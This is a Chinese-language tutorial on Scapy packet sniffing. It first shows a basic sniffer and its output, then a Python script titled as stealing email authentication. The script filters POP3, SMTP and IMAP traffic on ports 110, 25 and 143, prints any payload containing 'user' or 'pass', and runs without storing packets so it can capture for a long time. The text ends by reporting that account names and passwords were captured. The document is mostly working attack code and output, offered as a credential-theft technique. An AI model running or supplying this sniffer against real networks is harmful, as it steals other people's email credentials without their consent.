一、窃取Email认证。
1.sniff函数。
sniff(filter="",iface="any",prn=function,count)
filter参数允许我们对Scapy嗅探的数据包指定一个BPF的过滤器,也可以留空以嗅探所有的数据包。prn参数指定嗅探到符合过滤器条件的数据包时调用的回调函数,这个函数以接收到的数据包对象作为唯一参数。count指定你嗅探的数据包个数;如果留空,Scapy默认嗅探无限个。
2.代码。
#coding=utf-8
from scapy.all import *
#数据包回调函数
def packet_callback(packet):
print(packet.show)
#开启嗅探器
sniff(prn=packet_callback,count=1)
3.测试结果。
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = 00:50:56:c0:00:08
type = 0x800
###[ IP ]###
version = 4L
ihl = 5L
tos = 0x0
len = 229
id = 17265
flags =
frag = 0L
ttl = 128
proto = udp
chksum = 0x5246
src = 192.168.17.1
dst = 192.168.17.255
\options \
###[ UDP ]###
sport = netbios_dgm
dport = netbios_dgm
len = 209
chksum = 0x76cc
###[ NBT Datagram Packet ]###
Type = 17
Flags = 14
ID = 44596
SourceIP = 192.168.17.1
SourcePort= 138
Length = 187
Offset = 0
SourceName= 'DESKTOP-I34R7DF'
SUFFIX1 = file server service
NULL = 0
DestinationName= 'WORKGROUP '
SUFFIX2 = 16974
NULL = 0
###[ Raw ]###
load = '\xffSMB%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x00\x00!\x00V\x00\x03\x00\x01\x00\x00\x00\x02\x002\x00\\MAILSLOT\\BROWSE\x00\x01\x00\x80\xfc\n\x00DESKTOP-I34R7DF\x00\n\x00\x03\x10\x00\x00\x0f\x01U\xaa\x00'
None
pack.show函数解析了其中的协议信息并输出包的内容。show它可以确认捕获的数据是否是你所需要的。
改进代码
#coding=utf-8
from scapy.all import *
def pcket_callback(packet):
if packet[TCP].payload:
mail_packet = str(packet[TCP].payload)
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print "[*] Server: %s" % packet[IP].dst
print "[*] %s" % packet[TCP].payload
#开启嗅探器
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=pcket_callback,store=0)
我们修改了sniff函数,添加了过滤器使其仅对常见的电子邮箱端口110、143、25进行嗅探。
还有一个新参数store当它等于0时嗅探器将不会保存数据这适合长期进行嗅探!
测试
可以看到我们成功嗅探到了账户,密码。